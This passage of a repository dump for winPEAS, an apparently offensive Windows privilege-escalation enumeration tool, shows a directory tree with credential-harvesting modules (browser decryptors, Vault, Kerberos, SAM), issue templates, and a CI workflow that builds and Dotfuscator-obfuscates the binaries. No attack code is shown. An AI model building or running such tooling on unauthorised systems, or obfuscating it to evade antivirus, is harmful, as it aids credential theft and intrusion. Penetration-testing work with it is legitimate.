│ │ ├── Sha512Digest.cs │ │ │ │ │ │ ├── Sha512tDigest.cs │ │ │ │ │ │ ├── ShakeDigest.cs │ │ │ │ │ │ ├── ShortenedDigest.cs │ │ │ │ │ │ ├── SkeinDigest.cs │ │ │ │ │ │ ├── SkeinEngine.cs │ │ │ │ │ │ ├── TigerDigest.cs │ │ │ │ │ │ ├── WhirlpoolDigest.cs │ │ │ │ │ │ └── XofUtils.cs │ │ │ │ │ ├── engines/ │ │ │ │ │ │ ├── AesEngine.cs │ │ │ │ │ │ ├── Gost28147Engine.cs │ │ │ │ │ │ └── ThreefishEngine.cs │ │ │ │ │ ├── modes/ │ │ │ │ │ │ ├── GcmBlockCipher.cs │ │ │ │ │ │ ├── GcmUtilities.cs │ │ │ │ │ │ ├── IAeadBlockCipher.cs │ │ │ │ │ │ ├── IAeadCipher.cs │ │ │ │ │ │ └── gcm/ │ │ │ │ │ │ ├── BasicGcmExponentiator.cs │ │ │ │ │ │ ├── IGcmExponentiator.cs │ │ │ │ │ │ ├── IGcmMultiplier.cs │ │ │ │ │ │ └── Tables4kGcmMultiplier.cs │ │ │ │ │ ├── parameters/ │ │ │ │ │ │ ├── AeadParameters.cs │ │ │ │ │ │ ├── KeyParameter.cs │ │ │ │ │ │ ├── ParametersWithIV.cs │ │ │ │ │ │ ├── ParametersWithSBox.cs │ │ │ │ │ │ ├── SkeinParameters.cs │ │ │ │ │ │ └── TweakableBlockCipherParameters.cs │ │ │ │ │ ├── prng/ │ │ │ │ │ │ ├── CryptoApiRandomGenerator.cs │ │ │ │ │ │ ├── DigestRandomGenerator.cs │ │ │ │ │ │ └── IRandomGenerator.cs │ │ │ │ │ └── util/ │ │ │ │ │ ├── Arrays.cs │ │ │ │ │ ├── Longs.cs │ │ │ │ │ ├── Pack.cs │ │ │ │ │ ├── Platform.cs │ │ │ │ │ └── Times.cs │ │ │ │ ├── math/ │ │ │ │ │ ├── BigInteger.cs │ │ │ │ │ └── raw/ │ │ │ │ │ ├── Bits.cs │ │ │ │ │ └── Interleave.cs │ │ │ │ ├── oiw/ │ │ │ │ │ └── OiwObjectIdentifiers.cs │ │ │ │ ├── security/ │ │ │ │ │ ├── DigestUtilities.cs │ │ │ │ │ ├── SecureRandom.cs │ │ │ │ │ └── SecurityUtilityException.cs │ │ │ │ └── util/ │ │ │ │ ├── Enums.cs │ │ │ │ ├── IMemoable.cs │ │ │ │ ├── MemoableResetException.cs │ │ │ │ ├── Strings.cs │ │ │ │ ├── collections/ │ │ │ │ │ ├── CollectionUtilities.cs │ │ │ │ │ ├── ISet.cs │ │ │ │ │ ├── UnmodifiableDictionary.cs │ │ │ │ │ ├── UnmodifiableDictionaryProxy.cs │ │ │ │ │ ├── UnmodifiableList.cs │ │ │ │ │ ├── UnmodifiableListProxy.cs │ │ │ │ │ ├── UnmodifiableSet.cs │ │ │ │ │ └── UnmodifiableSetProxy.cs │ │ │ │ ├── date/ │ │ │ │ │ └── DateTimeUtilities.cs │ │ │ │ ├── encoders/ │ │ │ │ │ ├── Hex.cs │ │ │ │ │ ├── HexEncoder.cs │ │ │ │ │ └── IEncoder.cs │ │ │ │ └── io/ │ │ │ │ ├── BaseInputStream.cs │ │ │ │ ├── StreamOverflowException.cs │ │ │ │ └── Streams.cs │ │ │ ├── SQLite/ │ │ │ │ ├── README.txt │ │ │ │ ├── SQLiteDatabase.cs │ │ │ │ ├── SQLiteVdbe.cs │ │ │ │ └── src/ │ │ │ │ ├── BtreeInt_h.cs │ │ │ │ ├── Btree_h.cs │ │ │ │ ├── Delagates.cs │ │ │ │ ├── Hash_h.cs │ │ │ │ ├── VdbeInt_h.cs │ │ │ │ ├── Vdbe_h.cs │ │ │ │ ├── _Custom.cs │ │ │ │ ├── alter_c.cs │ │ │ │ ├── analyze_c.cs │ │ │ │ ├── attach_c.cs │ │ │ │ ├── auth_c.cs │ │ │ │ ├── backup_c.cs │ │ │ │ ├── bitvec_c.cs │ │ │ │ ├── btmutex_c.cs │ │ │ │ ├── btree_c.cs │ │ │ │ ├── build_c.cs │ │ │ │ ├── callback_c.cs │ │ │ │ ├── complete_c.cs │ │ │ │ ├── date_c.cs │ │ │ │ ├── delete_c.cs │ │ │ │ ├── expr_c.cs │ │ │ │ ├── fault_c.cs │ │ │ │ ├── func_c.cs │ │ │ │ ├── global_c.cs │ │ │ │ ├── hash_c.cs │ │ │ │ ├── hwtime_c.cs │ │ │ │ ├── insert_c.cs │ │ │ │ ├── journal_c.cs │ │ │ │ ├── keywordhash_h.cs │ │ │ │ ├── legacy_c.cs │ │ │ │ ├── loadext_c.cs │ │ │ │ ├── main_c.cs │ │ │ │ ├── malloc_c.cs │ │ │ │ ├── mem0_c.cs │ │ │ │ ├── mem1_c.cs │ │ │ │ ├── memjournal_c.cs │ │ │ │ ├── mutex_c.cs │ │ │ │ ├── mutex_h.cs │ │ │ │ ├── mutex_noop_c.cs │ │ │ │ ├── mutex_w32.cs │ │ │ │ ├── notify_c.cs │ │ │ │ ├── opcodes_c.cs │ │ │ │ ├── opcodes_h.cs │ │ │ │ ├── os_c.cs │ │ │ │ ├── os_common_h.cs │ │ │ │ ├── os_h.cs │ │ │ │ ├── os_win_c.cs │ │ │ │ ├── pager_c.cs │ │ │ │ ├── pager_h.cs │ │ │ │ ├── parse_c.cs │ │ │ │ ├── parse_h.cs │ │ │ │ ├── pcache1_c.cs │ │ │ │ ├── pcache_c.cs │ │ │ │ ├── pcache_h.cs │ │ │ │ ├── pragma_c.cs │ │ │ │ ├── prepare_c.cs │ │ │ │ ├── printf_c.cs │ │ │ │ ├── random_c.cs │ │ │ │ ├── resolve_c.cs │ │ │ │ ├── rowset_c.cs │ │ │ │ ├── select_c.cs │ │ │ │ ├── sqlite3_h.cs │ │ │ │ ├── sqlite3ext_h.cs │ │ │ │ ├── sqliteInt_h.cs │ │ │ │ ├── sqliteLimit_h.cs │ │ │ │ ├── sqliteicu_h.cs │ │ │ │ ├── status_c.cs │ │ │ │ ├── table_c.cs │ │ │ │ ├── tokenize_c.cs │ │ │ │ ├── trigger_c.cs │ │ │ │ ├── update_c.cs │ │ │ │ ├── utf_c.cs │ │ │ │ ├── util_c.cs │ │ │ │ ├── vacuum_c.cs │ │ │ │ ├── vdbe_c.cs │ │ │ │ ├── vdbeapi_c.cs │ │ │ │ ├── vdbeaux_c.cs │ │ │ │ ├── vdbeblob_c.cs │ │ │ │ ├── vdbemem_c.cs │ │ │ │ ├── vtab_c.cs │ │ │ │ ├── walker_c.cs │ │ │ │ └── where_c.cs │ │ │ └── YamlSerializer/ │ │ │ ├── ChangeLog.txt │ │ │ ├── EasyTypeConverter.cs │ │ │ ├── ObjectExtensions.cs │ │ │ ├── ObjectMemberAccessor.cs │ │ │ ├── Parser.cs │ │ │ ├── Readme.txt │ │ │ ├── RehashableDictionary.cs │ │ │ ├── TypeUtils.cs │ │ │ ├── UriEncoding.cs │ │ │ ├── YamlAnchorDictionary.cs │ │ │ ├── YamlConstructor.cs │ │ │ ├── YamlDoubleQuoteEscaping.cs │ │ │ ├── YamlNode.cs │ │ │ ├── YamlParser.cs │ │ │ ├── YamlPresenter.cs │ │ │ ├── YamlRepresenter.cs │ │ │ ├── YamlSerializer.cs │ │ │ ├── YamlSerializer.csproj │ │ │ ├── YamlTagPrefixes.cs │ │ │ ├── YamlTagResolutionScheme.cs │ │ │ └── YamlTagValidator.cs │ │ ├── App.config │ │ ├── Checks/ │ │ │ ├── ActiveDirectoryInfo.cs │ │ │ ├── ApplicationsInfo.cs │ │ │ ├── BrowserInfo.cs │ │ │ ├── Checks.cs │ │ │ ├── CloudInfo.cs │ │ │ ├── EventsInfo.cs │ │ │ ├── FileAnalysis.cs │ │ │ ├── FilesInfo.cs │ │ │ ├── Globals.cs │ │ │ ├── ISystemCheck.cs │ │ │ ├── NetworkInfo.cs │ │ │ ├── NetworkScanCheck.cs │ │ │ ├── ProcessInfo.cs │ │ │ ├── RegistryInfo.cs │ │ │ ├── ServicesInfo.cs │ │ │ ├── SoapClientInfo.cs │ │ │ ├── SystemInfo.cs │ │ │ ├── UserInfo.cs │ │ │ └── WindowsCreds.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Helpers/ │ │ │ ├── AppLocker/ │ │ │ │ ├── AppLockerHelper.cs │ │ │ │ ├── AppLockerRules.cs │ │ │ │ ├── IAppIdPolicyHandler.cs │ │ │ │ └── SharpAppLocker.cs │ │ │ ├── Beaprint.cs │ │ │ ├── CheckRunner.cs │ │ │ ├── CredentialManager/ │ │ │ │ ├── Credential.cs │ │ │ │ ├── CredentialManager.cs │ │ │ │ ├── CredentialType.cs │ │ │ │ ├── NativeMethods.cs │ │ │ │ ├── PersistenceType.cs │ │ │ │ └── SecureStringHelper.cs │ │ │ ├── CustomFileInfo.cs │ │ │ ├── DomainHelper.cs │ │ │ ├── Extensions/ │ │ │ │ └── EnumExtensions.cs │ │ │ ├── HandlesHelper.cs │ │ │ ├── MemoryHelper.cs │ │ │ ├── MyUtils.cs │ │ │ ├── ObjectManagerHelper.cs │ │ │ ├── PermissionsHelper.cs │ │ │ ├── ProgressBar.cs │ │ │ ├── ReflectionHelper.cs │ │ │ ├── Registry/ │ │ │ │ ├── RegistryAclScanner.cs │ │ │ │ └── RegistryHelper.cs │ │ │ ├── RegistryHelper.cs │ │ │ ├── Search/ │ │ │ │ ├── LOLBAS.cs │ │ │ │ ├── Patterns.cs │ │ │ │ └── SearchHelper.cs │ │ │ └── YamlConfig/ │ │ │ ├── YamlConfig.cs │ │ │ └── YamlConfigHelper.cs │ │ ├── Info/ │ │ │ ├── ApplicationInfo/ │ │ │ │ ├── ApplicationInfoHelper.cs │ │ │ │ ├── AutoRuns.cs │ │ │ │ ├── DeviceDrivers.cs │ │ │ │ ├── InstalledApps.cs │ │ │ │ └── SoapClientProxyAnalyzer.cs │ │ │ ├── CloudInfo/ │ │ │ │ ├── AWSInfo.cs │ │ │ │ ├── AzureInfo.cs │ │ │ │ ├── AzureTokensInfo.cs │ │ │ │ ├── CloudInfoBase.cs │ │ │ │ ├── EndpointData.cs │ │ │ │ ├── GCDSInfo.cs │ │ │ │ ├── GCPInfo.cs │ │ │ │ ├── GPSInfo.cs │ │ │ │ └── GWorkspaceInfo.cs │ │ │ ├── EventsInfo/ │ │ │ │ ├── Common.cs │ │ │ │ ├── Logon/ │ │ │ │ │ ├── ExplicitLogonEventInfo.cs │ │ │ │ │ ├── Logon.cs │ │ │ │ │ ├── LogonEventInfo.cs │ │ │ │ │ └── LogonInfo.cs │ │ │ │ ├── Power/ │ │ │ │ │ ├── Power.cs │ │ │ │ │ └── PoweredEventInfo.cs │ │ │ │ ├── PowerShell/ │ │ │ │ │ ├── PowerShell.cs │ │ │ │ │ └── PowerShellEventInfo.cs │ │ │ │ └── ProcessCreation/ │ │ │ │ ├── ProcessCreation.cs │ │ │ │ └── ProcessCreationEventInfo.cs │ │ │ ├── FilesInfo/ │ │ │ │ ├── Certificates/ │ │ │ │ │ ├── CertificateInfo.cs │ │ │ │ │ └── Certificates.cs │ │ │ │ ├── McAfee/ │ │ │ │ │ ├── McAfee.cs │ │ │ │ │ ├── McAfeeSiteInfo.cs │ │ │ │ │ └── McAfeeSitelistInfo.cs │ │ │ │ ├── Office/ │ │ │ │ │ ├── Office.cs │ │ │ │ │ ├── OfficeRecentFileInfo.cs │ │ │ │ │ └── OneDrive/ │ │ │ │ │ ├── CloudSyncProviderInfo.cs │ │ │ │ │ └── OneDriveSyncProviderInfo.cs │ │ │ │ └── WSL/ │ │ │ │ ├── WSL.cs │ │ │ │ └── WSLHelper.cs │ │ │ ├── NetworkInfo/ │ │ │ │ ├── Enums/ │ │ │ │ │ ├── IPVersion.cs │ │ │ │ │ ├── MibTcpState.cs │ │ │ │ │ ├── Protocol.cs │ │ │ │ │ ├── TcpTableClass.cs │ │ │ │ │ └── UdpTableClass.cs │ │ │ │ ├── Firewall.cs │ │ │ │ ├── HostnameResolution.cs │ │ │ │ ├── InternetConnectivity.cs │ │ │ │ ├── InternetSettings/ │ │ │ │ │ ├── InternetSettings.cs │ │ │ │ │ ├── InternetSettingsInfo.cs │ │ │ │ │ └── InternetSettingsKey.cs │ │ │ │ ├── NetworkConnection.cs │ │ │ │ ├── NetworkInfoHelper.cs │ │ │ │ ├── NetworkScanner/ │ │ │ │ │ ├── NetPinger.cs │ │ │ │ │ ├── NetworkScanner.cs │ │ │ │ │ ├── NetworkUtils.cs │ │ │ │ │ └── PortScanner.cs │ │ │ │ ├── Structs/ │ │ │ │ │ ├── MIB_TCP6ROW_OWNER_PID.cs │ │ │ │ │ ├── MIB_TCP6TABLE_OWNER_PID.cs │ │ │ │ │ ├── MIB_TCPROW_OWNER_PID.cs │ │ │ │ │ ├── MIB_TCPTABLE_OWNER_PID.cs │ │ │ │ │ ├── MIB_UDP6ROW_OWNER_PID.cs │ │ │ │ │ ├── MIB_UDP6TABLE_OWNER_PID.cs │ │ │ │ │ ├── MIB_UDPROW_OWNER_PID.cs │ │ │ │ │ └── MIB_UDPTABLE_OWNER_PID.cs │ │ │ │ ├── TcpConnectionInfo.cs │ │ │ │ ├── UdpConnectionInfo.cs │ │ │ │ └── Win32Error.cs │ │ │ ├── ProcessInfo/ │ │ │ │ ├── DefensiveProcesses.cs │ │ │ │ ├── InterestingProcesses.cs │ │ │ │ └── ProcessesInfo.cs │ │ │ ├── ServicesInfo/ │ │ │ │ ├── OemSoftwareHelper.cs │ │ │ │ └── ServicesInfoHelper.cs │ │ │ ├── SystemInfo/ │ │ │ │ ├── AuditPolicies/ │ │ │ │ │ ├── AuditEntryInfo.cs │ │ │ │ │ ├── AuditPolicies.cs │ │ │ │ │ ├── AuditPolicyGPOInfo.cs │ │ │ │ │ └── AuditType.cs │ │ │ │ ├── CredentialGuard.cs │ │ │ │ ├── DotNet/ │ │ │ │ │ ├── DotNet.cs │ │ │ │ │ └── DotNetInfo.cs │ │ │ │ ├── GroupPolicy/ │ │ │ │ │ ├── GroupPolicy.cs │ │ │ │ │ └── LocalGroupPolicyInfo.cs │ │ │ │ ├── NamedPipes/ │ │ │ │ │ ├── NamedPipeInfo.cs │ │ │ │ │ ├── NamedPipeSecurityAnalyzer.cs │ │ │ │ │ └── NamedPipes.cs │ │ │ │ ├── Ntlm/ │ │ │ │ │ ├── Ntlm.cs │ │ │ │ │ └── NtlmSettingsInfo.cs │ │ │ │ ├── PowerShell/ │ │ │ │ │ ├── PluginAccessInfo.cs │ │ │ │ │ ├── PowerShell.cs │ │ │ │ │ └── PowerShellSessionSettingsInfo.cs │ │ │ │ ├── Printers/ │ │ │ │ │ ├── PrinterInfo.cs │ │ │ │ │ └── Printers.cs │ │ │ │ ├── SysMon/ │ │ │ │ │ ├── SysMon.cs │ │ │ │ │ ├── SysmonEventInfo.cs │ │ │ │ │ ├── SysmonHashAlgorithm.cs │ │ │ │ │ ├── SysmonInfo.cs │ │ │ │ │ └── SysmonOptions.cs │ │ │ │ ├── SystemInfo.cs │ │ │ │ ├── WindowsDefender/ │ │ │ │ │ ├── AsrRule.cs │ │ │ │ │ ├── AsrSettings.cs │ │ │ │ │ ├── WindowsDefender.cs │ │ │ │ │ ├── WindowsDefenderSettings.cs │ │ │ │ │ └── WindowsDefenderSettingsInfo.cs │ │ │ │ └── WindowsVersionVulns.cs │ │ │ ├── UserInfo/ │ │ │ │ ├── LogonSessions/ │ │ │ │ │ ├── LogonSessions.cs │ │ │ │ │ └── LogonSessionsInfo.cs │ │ │ │ ├── SAM/ │ │ │ │ │ ├── Enums.cs │ │ │ │ │ ├── SamServer.cs │ │ │ │ │ └── Structs.cs │ │ │ │ ├── SID2GroupNameHelper.cs │ │ │ │ ├── Tenant/ │ │ │ │ │ ├── JoinType.cs │ │ │ │ │ ├── Tenant.cs │ │ │ │ │ └── TenantInfo.cs │ │ │ │ ├── Token/ │ │ │ │ │ ├── Enums.cs │ │ │ │ │ ├── Structs.cs │ │ │ │ │ └── Token.cs │ │ │ │ ├── User.cs │ │ │ │ └── UserInfoHelper.cs │ │ │ └── WindowsCreds/ │ │ │ ├── AppCmd/ │ │ │ │ └── AppCmd.cs │ │ │ ├── RDPClientSettings.cs │ │ │ ├── RDPServerSettings.cs │ │ │ ├── RDPSettingsInfo.cs │ │ │ └── RemoteDesktop.cs │ │ ├── InterestingFiles/ │ │ │ ├── GPP.cs │ │ │ ├── InterestingFiles.cs │ │ │ └── Unattended.cs │ │ ├── KnownFileCreds/ │ │ │ ├── Browsers/ │ │ │ │ ├── Brave/ │ │ │ │ │ └── Brave.cs │ │ │ │ ├── Browser.cs │ │ │ │ ├── BrowserBase.cs │ │ │ │ ├── Chrome/ │ │ │ │ │ └── Chrome.cs │ │ │ │ ├── ChromiumBase.cs │ │ │ │ ├── Decryptor/ │ │ │ │ │ ├── GCDecryptor.cs │ │ │ │ │ └── LocalState.cs │ │ │ │ ├── Firefox/ │ │ │ │ │ ├── FFDecryptor.cs │ │ │ │ │ ├── FFLogins.cs │ │ │ │ │ ├── Firefox.cs │ │ │ │ │ └── LoginData.cs │ │ │ │ ├── IBrowser.cs │ │ │ │ ├── InternetExplorer.cs │ │ │ │ ├── Models/ │ │ │ │ │ ├── CredentialModel.cs │ │ │ │ │ └── Login.cs │ │ │ │ └── Opera/ │ │ │ │ └── Opera.cs │ │ │ ├── Kerberos/ │ │ │ │ ├── Enums.cs │ │ │ │ ├── Helpers.cs │ │ │ │ ├── Kerberos.cs │ │ │ │ └── Structs.cs │ │ │ ├── KnownFileCredsInfo.cs │ │ │ ├── Putty.cs │ │ │ ├── RemoteDesktop.cs │ │ │ ├── SecurityPackages/ │ │ │ │ ├── NtlmHashInfo.cs │ │ │ │ ├── SecBuffer.cs │ │ │ │ ├── SecBufferDesc.cs │ │ │ │ └── SecurityPackages.cs │ │ │ ├── Slack/ │ │ │ │ └── Slack.cs │ │ │ ├── SuperPutty/ │ │ │ │ └── SuperPutty.cs │ │ │ └── Vault/ │ │ │ ├── Enums/ │ │ │ │ ├── VAULT_ELEMENT_TYPE.cs │ │ │ │ └── VAULT_SCHEMA_ELEMENT_ID.cs │ │ │ ├── Structs/ │ │ │ │ ├── VAULT_ITEM_ELEMENT.cs │ │ │ │ ├── VAULT_ITEM_WIN7.cs │ │ │ │ └── VAULT_ITEM_WIN8.cs │ │ │ └── VaultCli.cs │ │ ├── Native/ │ │ │ ├── Advapi32.cs │ │ │ ├── Classes/ │ │ │ │ ├── SafeTokenHandle.cs │ │ │ │ └── UNICODE_STRING.cs │ │ │ ├── Enums/ │ │ │ │ ├── AccessTypes.cs │ │ │ │ ├── CredentialType.cs │ │ │ │ ├── DS_NAME_FLAGS.cs │ │ │ │ ├── DS_NAME_FORMAT.cs │ │ │ │ ├── GPOLink.cs │ │ │ │ ├── GPOOptions.cs │ │ │ │ ├── NetJoinStatus.cs │ │ │ │ ├── PrivilegeAttributes.cs │ │ │ │ ├── SECURITY_IMPERSONATION_LEVEL.cs │ │ │ │ ├── SECURITY_LOGON_TYPE.cs │ │ │ │ ├── SE_OBJECT_TYPE.cs │ │ │ │ ├── SID_NAME_USE.cs │ │ │ │ ├── ServerTypes.cs │ │ │ │ ├── SessionSecurity.cs │ │ │ │ ├── TOKEN_ELEVATION_TYPE.cs │ │ │ │ ├── TOKEN_INFORMATION_CLASS.cs │ │ │ │ ├── TokenType.cs │ │ │ │ ├── UserPrivType.cs │ │ │ │ └── WTS_INFO_CLASS.cs │ │ │ ├── Iphlpapi.cs │ │ │ ├── Kernel32.cs │ │ │ ├── Netapi32.cs │ │ │ ├── Ntdll.cs │ │ │ ├── Ntdsapi.cs │ │ │ ├── Psapi.cs │ │ │ ├── Samlib.cs │ │ │ ├── Secur32.cs │ │ │ ├── Structs/ │ │ │ │ ├── DSREG_JOIN_INFO.cs │ │ │ │ ├── DSREG_USER_INFO.cs │ │ │ │ ├── LUID.cs │ │ │ │ ├── LUID_AND_ATTRIBUTES.cs │ │ │ │ ├── LastInputInfo.cs │ │ │ │ ├── PRIVILEGE_SET.cs │ │ │ │ ├── SID_AND_ATTRIBUTES.cs │ │ │ │ ├── TOKEN_ELEVATION.cs │ │ │ │ ├── TOKEN_MANDATORY_LABEL.cs │ │ │ │ ├── TOKEN_PRIVILEGES.cs │ │ │ │ └── USER_INFO_3.cs │ │ │ ├── User32.cs │ │ │ ├── Vaultcli.cs │ │ │ ├── WlanApi.cs │ │ │ ├── Wtsapi32.cs │ │ │ └── crypt32.cs │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.de.resx │ │ │ ├── Resources.es.resx │ │ │ ├── Resources.fr.resx │ │ │ ├── Resources.it.resx │ │ │ ├── Resources.pl.resx │ │ │ ├── Resources.resx │ │ │ ├── Resources.ru.resx │ │ │ └── Resources.zh-CN.resx │ │ ├── TaskScheduler/ │ │ │ ├── AccessControlExtension.cs │ │ │ ├── Action.cs │ │ │ ├── ActionCollection.cs │ │ │ ├── CultureSwitcher.cs │ │ │ ├── EnumGlobalizer.cs │ │ │ ├── EnumUtil.cs │ │ │ ├── JetBrains.Annotations.cs │ │ │ ├── NamedValueCollection.cs │ │ │ ├── NotV1SupportedException.cs │ │ │ ├── ReflectionHelper.cs │ │ │ ├── Task.cs │ │ │ ├── TaskCollection.cs │ │ │ ├── TaskEditor/ │ │ │ │ └── Native/ │ │ │ │ ├── InteropUtil.cs │ │ │ │ ├── NTDSAPI.cs │ │ │ │ ├── NetServerEnum.cs │ │ │ │ └── SYSTEMTIME.cs │ │ │ ├── TaskEvent.cs │ │ │ ├── TaskFolder.cs │ │ │ ├── TaskFolderCollection.cs │ │ │ ├── TaskHandlerInterfaces.cs │ │ │ ├── TaskSecurity.cs │ │ │ ├── TaskService.cs │ │ │ ├── Trigger.cs │ │ │ ├── TriggerCollection.cs │ │ │ ├── User.cs │ │ │ ├── V1/ │ │ │ │ ├── TaskSchedulerV1Interop.cs │ │ │ │ └── TaskSchedulerV1Schema.xsd │ │ │ ├── V2/ │ │ │ │ ├── TaskSchedulerV2Interop.cs │ │ │ │ └── TaskSchedulerV2Schema.xsd │ │ │ ├── Wildcard.cs │ │ │ ├── WindowsImpersonatedIdentity.cs │ │ │ └── XmlSerializationHelper.cs │ │ ├── Wifi/ │ │ │ ├── NativeWifiApi/ │ │ │ │ ├── Enums.cs │ │ │ │ ├── Interop.cs │ │ │ │ ├── Structs.cs │ │ │ │ └── WlanClient.cs │ │ │ └── Wifi.cs │ │ ├── packages.config │ │ ├── winPEAS.csproj │ │ └── winPEAS.csproj.user │ ├── winPEAS.Tests/ │ │ └── SmokeTests.cs │ └── winPEAS.sln └── winPEASps1/ ├── README.md └── winPEAS.ps1 ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/FUNDING.yml ================================================ custom: ['https://github.com/sponsors/carlospolop'] ================================================ FILE: .github/ISSUE_TEMPLATE.md ================================================ If you are going to suggest something, please remove the following template. If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley #### Issue description #### Steps to reproduce the issue 1. 2. 3. #### Which parameters did you use for executing the script and how did you execute it? #### If winpeas, did you use a clean or obfuscated winpeas, and for which architecture? #### Is there any AV / Threat protection in the system? #### Please, indicate the OS, the OS version, and the kernel version (build number in case of Windows) #### Please, indicate the check that is failing and add a screenshot showing the problem #### How did you expect it to work? #### Additional details / screenshot ================================================ FILE: .github/chack-agent/pr-merge-schema.json ================================================ { "type": "object", "additionalProperties": false, "properties": { "decision": { "type": "string", "enum": ["merge", "comment"] }, "message": { "type": "string" }, "confidence": { "type": "string", "enum": ["low", "medium", "high"] } }, "required": ["decision", "message", "confidence"] } ================================================ FILE: .github/workflows/CI-master_tests.yml ================================================ name: CI-master_test on: push: branches: - master - main paths-ignore: - '.github/**' schedule: - cron: "5 4 1 * *" workflow_dispatch: jobs: Build_and_test_winpeas_master: runs-on: windows-latest # environment variables env: Solution_Path: 'winPEAS\winPEASexe\winPEAS.sln' Configuration: 'Release' DotFuscatorGeneratedPath: 'winPEAS\winPEASexe\binaries\Obfuscated Releases\Dotfuscated' steps: # checkout - name: Checkout uses: actions/checkout@v5 with: ref: ${{ github.head_ref }} - name: Download regexes run: | powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1 # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild - name: Setup MSBuild.exe uses: microsoft/setup-msbuild@v2 # Setup NuGet - name: Setup NuGet.exe uses: nuget/setup-nuget@v2 # Restore the packages for testing - name: Restore the application run: nuget restore $env:Solution_Path # build - name: run MSBuild run: msbuild $env:Solution_Path /p:Configuration=$env:Configuration /p:UseSharedCompilation=false # Execute all unit tests in the solution - name: Execute unit tests run: dotnet test $env:Solution_Path --configuration $env:Configuration # Build & update all versions - name: Build all versions run: | echo "build x64" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="x64" /p:UseSharedCompilation=false echo "build x86" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="x86" /p:UseSharedCompilation=false echo "build Any CPU" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU" /p:UseSharedCompilation=false - name: Execute winPEAS -h shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath -h } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS cloudinfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath cloudinfo } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS systeminfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath systeminfo } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS networkinfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath networkinfo } else { Write-Error "winPEAS.exe not found at $exePath" } # Copy the built versions - name: Copy all versions run: | echo "copy x64" cp winPEAS\winPEASexe\winPEAS\bin\x64\$env:Configuration\winPEAS.exe winPEAS\winPEASexe\binaries\x64\$env:Configuration\winPEASx64.exe echo "copy x86" cp winPEAS\winPEASexe\winPEAS\bin\x86\$env:Configuration\winPEAS.exe winPEAS\winPEASexe\binaries\x86\$env:Configuration\winPEASx86.exe echo "copy Any" cp winPEAS\winPEASexe\winPEAS\bin\$env:Configuration\winPEAS.exe winPEAS\winPEASexe\binaries\$env:Configuration\winPEASany.exe # Setup DotFuscator - name: Setup DotFuscator run: | 7z x winPEAS\winPEASexe\Dotfuscator\DotfuscatorCE.zip whoami mkdir -p $env:USERPROFILE\AppData\Local\"PreEmptive Solutions"\"Dotfuscator Community Edition"\6.0 -erroraction 'silentlycontinue' cp DotfuscatorCE\license\* $env:USERPROFILE\AppData\Local\"PreEmptive Solutions"\"Dotfuscator Community Edition"\6.0\ # build obfuscated versions - name: Build obfuscated versions run: | DotfuscatorCE\dotfuscator.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\x64.xml" DotfuscatorCE\dotfuscator.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\x86.xml" DotfuscatorCE\dotfuscator.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\any.xml" # copy the files - name: Copy Dotfuscator generated files run: | cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe" cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe" cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe" # Upload all the versions for the release - name: Upload winpeasx64 uses: actions/upload-artifact@v4 with: name: winPEASx64.exe path: winPEAS\winPEASexe\binaries\x64\Release\winPEASx64.exe - name: Upload winpeasx86 uses: actions/upload-artifact@v4 with: name: winPEASx86.exe path: winPEAS\winPEASexe\binaries\x86\Release\winPEASx86.exe - name: Upload winpeasany uses: actions/upload-artifact@v4 with: name: winPEASany.exe path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe - name: Upload winpeasx64ofs uses: actions/upload-artifact@v4 with: name: winPEASx64_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe - name: Upload winpeasx86ofs uses: actions/upload-artifact@v4 with: name: winPEASx86_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe - name: Upload winpeasanyofs uses: actions/upload-artifact@v4 with: name: winPEASany_ofs.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe - name: Upload winpeas.bat uses: actions/upload-artifact@v4 with: name: winPEAS.bat path: winPEAS\winPEASbat\winPEAS.bat # Git add #- name: Create local changes # run: | # git add winPEAS\winPEASexe\binaries\Release\* # git add winPEAS\winPEASexe\binaries\x64\* # git add winPEAS\winPEASexe\binaries\x86\* # git add "winPEAS\winPEASexe\binaries\Obfuscated Releases\*.exe" # Git commit #- name: Commit results to Github # run: | # git config --local user.email "ci@winpeas.com" # git config --global user.name "CI-winpeas" # git pull origin "${{ github.ref }}" --autostash --rebase -Xours # git commit -m "winpeas binaries auto update" -a --allow-empty # Git push #- name: Push changes # uses: ad-m/github-push-action@master # with: # branch: 